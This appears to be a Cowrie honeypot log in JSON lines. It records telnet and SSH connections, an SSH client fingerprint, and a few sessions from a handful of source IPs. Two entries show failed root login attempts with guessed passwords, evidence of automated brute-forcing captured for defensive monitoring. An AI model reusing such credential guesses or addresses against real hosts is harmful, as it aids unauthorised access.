{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33648,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ac0a19caaf7","protocol":"telnet","message":"New connection: 162.55.233.176:33648 (159.203.135.109:23) [session: 0ac0a19caaf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:22.301102Z"}
{"eventid":"cowrie.session.closed","duration":31.733038425445557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:22.773744Z","src_ip":"162.55.233.176","session":"bdc4c2df60f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.15452814102173,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:23.060361Z","src_ip":"162.55.233.176","session":"e38721be286c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60534,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1602b057109","protocol":"telnet","message":"New connection: 162.55.233.176:60534 (159.203.135.109:23) [session: a1602b057109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:23.858733Z"}
{"eventid":"cowrie.session.closed","duration":31.928414583206177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:23.893362Z","src_ip":"162.55.233.176","session":"1992173365fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60536,"dst_ip":"159.203.135.109","dst_port":23,"session":"003cd3fb1e9a","protocol":"telnet","message":"New connection: 162.55.233.176:60536 (159.203.135.109:23) [session: 003cd3fb1e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:24.407038Z"}
{"eventid":"cowrie.session.closed","duration":31.27048087120056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:24.727908Z","src_ip":"162.55.233.176","session":"2354d12d9e50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60546,"dst_ip":"159.203.135.109","dst_port":23,"session":"f345279a563e","protocol":"telnet","message":"New connection: 162.55.233.176:60546 (159.203.135.109:23) [session: f345279a563e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:24.901047Z"}
{"eventid":"cowrie.session.closed","duration":32.39227628707886,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:24.924356Z","src_ip":"162.55.233.176","session":"2cab64302d7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.1147243976593,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:24.968016Z","src_ip":"162.55.233.176","session":"6e42d3850b34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7852201461792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:25.038491Z","src_ip":"162.55.233.176","session":"54a92f2b1f14","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"votmdnjem","message":"login attempt [root/votmdnjem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:25.226025Z","src_ip":"213.209.159.158","session":"7534a2fdd37b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.51715040206909,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:25.268827Z","src_ip":"162.55.233.176","session":"c4f40c9620f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.853394985198975,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:25.999082Z","src_ip":"206.189.32.23","session":"28694105f549","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60550,"dst_ip":"159.203.135.109","dst_port":23,"session":"84507f73a88d","protocol":"telnet","message":"New connection: 162.55.233.176:60550 (159.203.135.109:23) [session: 84507f73a88d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:26.078716Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56546,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff9850c8558d","protocol":"telnet","message":"New connection: 188.208.141.113:56546 (10.17.0.5:23) [session: ff9850c8558d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:26.088456Z"}
{"eventid":"cowrie.session.closed","duration":35.990500926971436,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:26.731665Z","src_ip":"162.55.233.176","session":"0deabaefb7b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60556,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b988e7b417d","protocol":"telnet","message":"New connection: 162.55.233.176:60556 (159.203.135.109:23) [session: 8b988e7b417d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:26.845103Z"}
{"eventid":"cowrie.session.closed","duration":36.095353841781616,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:26.876370Z","src_ip":"162.55.233.176","session":"114310394f96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60558,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e8de034fa24","protocol":"telnet","message":"New connection: 162.55.233.176:60558 (159.203.135.109:23) [session: 7e8de034fa24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:28.012532Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60562,"dst_ip":"159.203.135.109","dst_port":23,"session":"372d0bc9e30c","protocol":"telnet","message":"New connection: 162.55.233.176:60562 (159.203.135.109:23) [session: 372d0bc9e30c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:28.229347Z"}
{"eventid":"cowrie.session.closed","duration":31.74212336540222,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:28.277089Z","src_ip":"162.55.233.176","session":"53da50b7f65a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.1","message":"Connection lost after 14.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:28.449446Z","src_ip":"213.209.159.158","session":"7534a2fdd37b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":30974,"dst_ip":"10.17.0.5","dst_port":22,"session":"8676033eaf01","protocol":"ssh","message":"New connection: 213.209.159.158:30974 (10.17.0.5:22) [session: 8676033eaf01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:28.537362Z"}
{"eventid":"cowrie.session.closed","duration":31.206653594970703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:28.573484Z","src_ip":"162.55.233.176","session":"13724391702c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76482391357422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:28.693853Z","src_ip":"162.55.233.176","session":"d71ab3119656","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60574,"dst_ip":"159.203.135.109","dst_port":23,"session":"90484abbd209","protocol":"telnet","message":"New connection: 162.55.233.176:60574 (159.203.135.109:23) [session: 90484abbd209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:29.288738Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60586,"dst_ip":"159.203.135.109","dst_port":23,"session":"14b8b2f2ef94","protocol":"telnet","message":"New connection: 162.55.233.176:60586 (159.203.135.109:23) [session: 14b8b2f2ef94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:29.391133Z"}
{"eventid":"cowrie.session.closed","duration":31.607088804244995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:29.539933Z","src_ip":"162.55.233.176","session":"2e359fc49331","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.94415521621704,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:29.937140Z","src_ip":"162.55.233.176","session":"0d76fb465327","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:30.597705Z","src_ip":"213.209.159.158","session":"8676033eaf01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:30.601373Z","src_ip":"213.209.159.158","session":"8676033eaf01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.885594844818115,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:30.845004Z","src_ip":"162.55.233.176","session":"3a3080c150fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.81432366371155,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:30.879088Z","src_ip":"162.55.233.176","session":"85674981530d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.75483775138855,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:30.931229Z","src_ip":"206.189.32.23","session":"cc957d491743","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54096,"dst_ip":"10.17.0.5","dst_port":23,"session":"59d1d4805a57","protocol":"telnet","message":"New connection: 188.208.141.113:54096 (10.17.0.5:23) [session: 59d1d4805a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:31.012837Z"}
{"eventid":"cowrie.session.closed","duration":32.19573259353638,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:31.548707Z","src_ip":"162.55.233.176","session":"06e26b43d228","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60600,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8bcd7afa8f9","protocol":"telnet","message":"New connection: 162.55.233.176:60600 (159.203.135.109:23) [session: c8bcd7afa8f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:31.660220Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60604,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9a5cdfd172a","protocol":"telnet","message":"New connection: 162.55.233.176:60604 (159.203.135.109:23) [session: f9a5cdfd172a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:31.802925Z"}
{"eventid":"cowrie.session.closed","duration":31.10739779472351,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:31.896736Z","src_ip":"162.55.233.176","session":"7ff9eb38f761","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.48955416679382,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:32.903449Z","src_ip":"162.55.233.176","session":"5830ae85d23a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54311943054199,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:32.908438Z","src_ip":"162.55.233.176","session":"0b9bb67fdef3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.994198322296143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:33.648758Z","src_ip":"162.55.233.176","session":"d1c3fb0e6ed4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46454,"dst_ip":"159.203.135.109","dst_port":23,"session":"67729c428db9","protocol":"telnet","message":"New connection: 162.55.233.176:46454 (159.203.135.109:23) [session: 67729c428db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:33.821880Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46460,"dst_ip":"159.203.135.109","dst_port":23,"session":"6881f1e72793","protocol":"telnet","message":"New connection: 162.55.233.176:46460 (159.203.135.109:23) [session: 6881f1e72793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:34.805856Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46468,"dst_ip":"159.203.135.109","dst_port":23,"session":"4de80b714ca2","protocol":"telnet","message":"New connection: 162.55.233.176:46468 (159.203.135.109:23) [session: 4de80b714ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:34.873220Z"}
{"eventid":"cowrie.session.closed","duration":31.320088624954224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:35.626706Z","src_ip":"162.55.233.176","session":"afa722428db8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.573540925979614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:35.817372Z","src_ip":"162.55.233.176","session":"4228193db8bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46480,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea1720771884","protocol":"telnet","message":"New connection: 162.55.233.176:46480 (159.203.135.109:23) [session: ea1720771884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:36.157237Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46494,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebd8007a0837","protocol":"telnet","message":"New connection: 162.55.233.176:46494 (159.203.135.109:23) [session: ebd8007a0837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:36.704535Z"}
{"eventid":"cowrie.session.closed","duration":34.43140411376953,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:36.724317Z","src_ip":"162.55.233.176","session":"a46fadc4b031","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46500,"dst_ip":"159.203.135.109","dst_port":23,"session":"758e0e464723","protocol":"telnet","message":"New connection: 162.55.233.176:46500 (159.203.135.109:23) [session: 758e0e464723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:36.755768Z"}
{"eventid":"cowrie.session.closed","duration":34.41575217247009,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:36.808638Z","src_ip":"162.55.233.176","session":"8f2f7f98354c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46506,"dst_ip":"159.203.135.109","dst_port":23,"session":"915a51ef4be9","protocol":"telnet","message":"New connection: 162.55.233.176:46506 (159.203.135.109:23) [session: 915a51ef4be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:36.898847Z"}
{"eventid":"cowrie.session.closed","duration":34.60404586791992,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:37.014714Z","src_ip":"162.55.233.176","session":"888ffe58fb8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46482,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee9f1688ec2f","protocol":"telnet","message":"New connection: 162.55.233.176:46482 (159.203.135.109:23) [session: ee9f1688ec2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:37.495365Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46508,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bb4fce16e7e","protocol":"telnet","message":"New connection: 162.55.233.176:46508 (159.203.135.109:23) [session: 2bb4fce16e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:37.905545Z"}
{"eventid":"cowrie.session.closed","duration":30.649404764175415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:38.332831Z","src_ip":"162.55.233.176","session":"4a85f6093e63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46516,"dst_ip":"159.203.135.109","dst_port":23,"session":"98fc9e1fbcdb","protocol":"telnet","message":"New connection: 162.55.233.176:46516 (159.203.135.109:23) [session: 98fc9e1fbcdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:39.135879Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46526,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d9c642c43ce","protocol":"telnet","message":"New connection: 162.55.233.176:46526 (159.203.135.109:23) [session: 7d9c642c43ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:39.287366Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46540,"dst_ip":"159.203.135.109","dst_port":23,"session":"6137e5a8e620","protocol":"telnet","message":"New connection: 162.55.233.176:46540 (159.203.135.109:23) [session: 6137e5a8e620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:39.494429Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46550,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdab646353fd","protocol":"telnet","message":"New connection: 162.55.233.176:46550 (159.203.135.109:23) [session: cdab646353fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:39.540086Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46558,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8bd01c5dece","protocol":"telnet","message":"New connection: 162.55.233.176:46558 (159.203.135.109:23) [session: b8bd01c5dece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:39.681959Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vw123456.","message":"login attempt [root/vw123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:40.212002Z","src_ip":"213.209.159.158","session":"8676033eaf01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58216,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c6f9543e8e2","protocol":"telnet","message":"New connection: 188.208.141.113:58216 (10.17.0.5:23) [session: 2c6f9543e8e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:40.352626Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58226,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5c1f86d828a","protocol":"telnet","message":"New connection: 188.208.141.113:58226 (10.17.0.5:23) [session: d5c1f86d828a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:41.312713Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":55670,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc3199882369","protocol":"telnet","message":"New connection: 206.189.32.23:55670 (10.17.0.5:23) [session: bc3199882369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:41.586690Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46562,"dst_ip":"159.203.135.109","dst_port":23,"session":"0533446f4997","protocol":"telnet","message":"New connection: 162.55.233.176:46562 (159.203.135.109:23) [session: 0533446f4997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:41.711507Z"}
{"eventid":"cowrie.session.closed","duration":30.34436321258545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:42.151420Z","src_ip":"162.55.233.176","session":"5a6eed653f94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58632,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e4d319fcb58","protocol":"telnet","message":"New connection: 162.55.233.176:58632 (159.203.135.109:23) [session: 7e4d319fcb58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:43.195633Z"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:43.232100Z","src_ip":"213.209.159.158","session":"8676033eaf01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":21400,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2169c86caa6","protocol":"ssh","message":"New connection: 213.209.159.158:21400 (10.17.0.5:22) [session: e2169c86caa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:43.320520Z"}
{"eventid":"cowrie.session.closed","duration":35.14596343040466,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:43.331400Z","src_ip":"162.55.233.176","session":"0acea555fbf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58636,"dst_ip":"159.203.135.109","dst_port":23,"session":"e01d77e045d9","protocol":"telnet","message":"New connection: 162.55.233.176:58636 (159.203.135.109:23) [session: e01d77e045d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:44.262577Z"}
{"eventid":"cowrie.session.closed","duration":32.719796895980835,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:44.343508Z","src_ip":"162.55.233.176","session":"02ee8509b492","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.508345127105713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:44.619693Z","src_ip":"162.55.233.176","session":"e338d180f455","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33421778678894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:44.659256Z","src_ip":"162.55.233.176","session":"18c4b221632b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.95539307594299,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:44.755864Z","src_ip":"162.55.233.176","session":"95a4d52cbf99","protocol":"telnet"}
